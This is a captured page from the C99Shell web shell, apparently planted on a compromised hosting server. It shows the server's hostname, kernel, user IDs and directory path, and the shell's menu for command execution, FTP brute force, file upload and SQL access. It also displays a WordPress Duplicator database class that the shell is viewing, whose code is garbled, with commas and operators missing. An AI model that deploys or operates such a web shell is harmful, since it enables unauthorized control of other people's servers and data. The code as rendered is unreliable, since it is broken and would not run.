!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/installer/build/classes/   drwxr-xr-x
Free 183.69 GB of 490.84 GB (37.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.db.php (5.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Lightweight abstraction layer for common simple database routines
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 *
 * @package SC\DUPX\DB
 *
 */
class DUPX_DB
{

    
/**
     * MySQL connection wrapper with support for port
     *
     * @param string    $host       The server host name
     * @param string    $username   The server DB user name
     * @param string    $password   The server DB password
     * @param string    $dbname     The server DB name
     * @param int       $port       The server DB port
     *
     * @return database connection handle
     */
    
public static function connect($host$username$password$dbname ''$port null)
    {
        
//sock connections
        
if ('sock' === substr($host, -4)) {
            
$url_parts     parse_url($host);
            
$dbh         = @mysqli_connect('localhost'$username$password$dbnamenull$url_parts['path']);
        } else {
            
$dbh = @mysqli_connect($host$username$password$dbname$port);
        }
        return 
$dbh;
    }

    
/**
     *  Count the tables in a given database
     *
     * @param obj    $dbh       A valid database link handle
     * @param string $dbname    Database to count tables in
     *
     * @return int  The number of tables in the database
     */
    
public static function countTables($dbh$dbname)
    {
        
$res mysqli_query($dbh"SELECT COUNT(*) AS count FROM information_schema.tables WHERE table_schema = '{$dbname}' ");
        
$row mysqli_fetch_row($res);
        return 
is_null($row) ? $row[0];
    }

    
/**
     * Returns the number of rows in a table
     *
     * @param obj    $dbh   A valid database link handle
     * @param string $name    A valid table name
     */
    
public static function countTableRows($dbh$name)
    {
        
$total mysqli_query($dbh"SELECT COUNT(*) FROM `$name`");
        if (
$total) {
            
$total = @mysqli_fetch_array($total);
            return 
$total[0];
        } else {
            return 
0;
        }
    }

    
/**
     * Returns the tables for a database as an array
     *
     * @param obj $dbh   A valid database link handle
     *
     * @return array  A list of all table names
     */
    
public static function getTables($dbh)
    {
        
$query = @mysqli_query($dbh'SHOW TABLES');
        if (
$query) {
            while (
$table = @mysqli_fetch_array($query)) {
                
$all_tables[] = $table[0];
            }
            if (isset(
$all_tables) && is_array($all_tables)) {
                return 
$all_tables;
            }
        }
        return array();
    }

    
/**
     * Get the requested MySQL system variable
     *
     * @param obj    $dbh   A valid database link handle
     * @param string $name  The database variable name to lookup
     *
     * @return string the server variable to query for
     */
    
public static function getVariable($dbh$name)
    {
        
$result     = @mysqli_query($dbh"SHOW VARIABLES LIKE '{$name}'");
        
$row     = @mysqli_fetch_array($result);
        @
mysqli_free_result($result);
        return isset(
$row[1]) ? $row[1] : null;
    }

    
/**
     * Gets the MySQL database version number
     *
     * @param obj    $dbh   A valid database link handle
     * @param bool   $full  True:  Gets the full version
     *                      False: Gets only the numeric portion i.e. 5.5.6 or 10.1.2 (for MariaDB)
     *
     * @return false|string 0 on failure, version number on success
     */
    
public static function getVersion($dbh$full false)
    {
        if (
$full) {
            
$version self::getVariable($dbh'version');
        } else {
            
$version preg_replace('/[^0-9.].*/'''self::getVariable($dbh'version'));
        }

        
$version is_null($version) ? null $version;
        return empty(
$version) ? $version;
    }

    
/**
     * Returns a more detailed string about the msyql server version
     * For example on some systems the result is 5.5.5-10.1.21-MariaDB
     * this format is helpful for providing the user a full overview
     *
     * @param conn $dbh Database connection handle
     *
     * @return string The full details of mysql
     */
    
public static function getServerInfo($dbh)
    {
        return 
mysqli_get_server_info($dbh);
    }

    
/**
     * Get an array of all supported collation names
     *
     * @param conn $dbh Database connection handle
     *
     * @return array
     */
    
public static function getSupportedCollationsList($dbh)
    {
        
$collations = array();

        
$query  "SHOW COLLATION";
        if (
$result $dbh->query($query)) {

            while (
$row $result->fetch_assoc()) {
                
$collations[] = $row["Collation"];
            }

        }
        
$result->free();

        return 
$collations;
    }

    
/**
     * Determine if a MySQL database supports a particular feature
     *
     * @param conn $dbh Database connection handle
     * @param string $feature the feature to check for
     *
     * @return bool
     */
    
public static function hasAbility($dbh$feature)
    {
        
$version self::getVersion($dbh);

        switch (
strtolower($feature)) {
            case 
'collation' :
            case 
'group_concat' :
            case 
'subqueries' :
                return 
version_compare($version'4.1''>=');
            case 
'set_charset' :
                return 
version_compare($version'5.0.7''>=');
        };
        return 
false;
    }

    
/**
     * Sets the MySQL connection's character set.
     *
     * @param resource $dbh     The resource given by mysqli_connect
     * @param string   $charset The character set (optional)
     * @param string   $collate The collation (optional)
     *
     * @return bool True on success
     */
    
public static function setCharset($dbh$charset null$collate null)
    {
        
$charset = (!isset($charset) ) ? $GLOBALS['DBCHARSET_DEFAULT'] : $charset;
        
$collate = (!isset($collate) ) ? $GLOBALS['DBCOLLATE_DEFAULT'] : $collate;

        if (
self::hasAbility($dbh'collation') && !empty($charset)) {
            if (
function_exists('mysqli_set_charset') && self::hasAbility($dbh'set_charset')) {
                return 
mysqli_set_charset($dbh$charset);
            } else {
                
$sql " SET NAMES {$charset}";
                if (!empty(
$collate)) $sql .= " COLLATE {$collate}";
                return 
mysqli_query($dbh$sql);
            }
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0081 ]--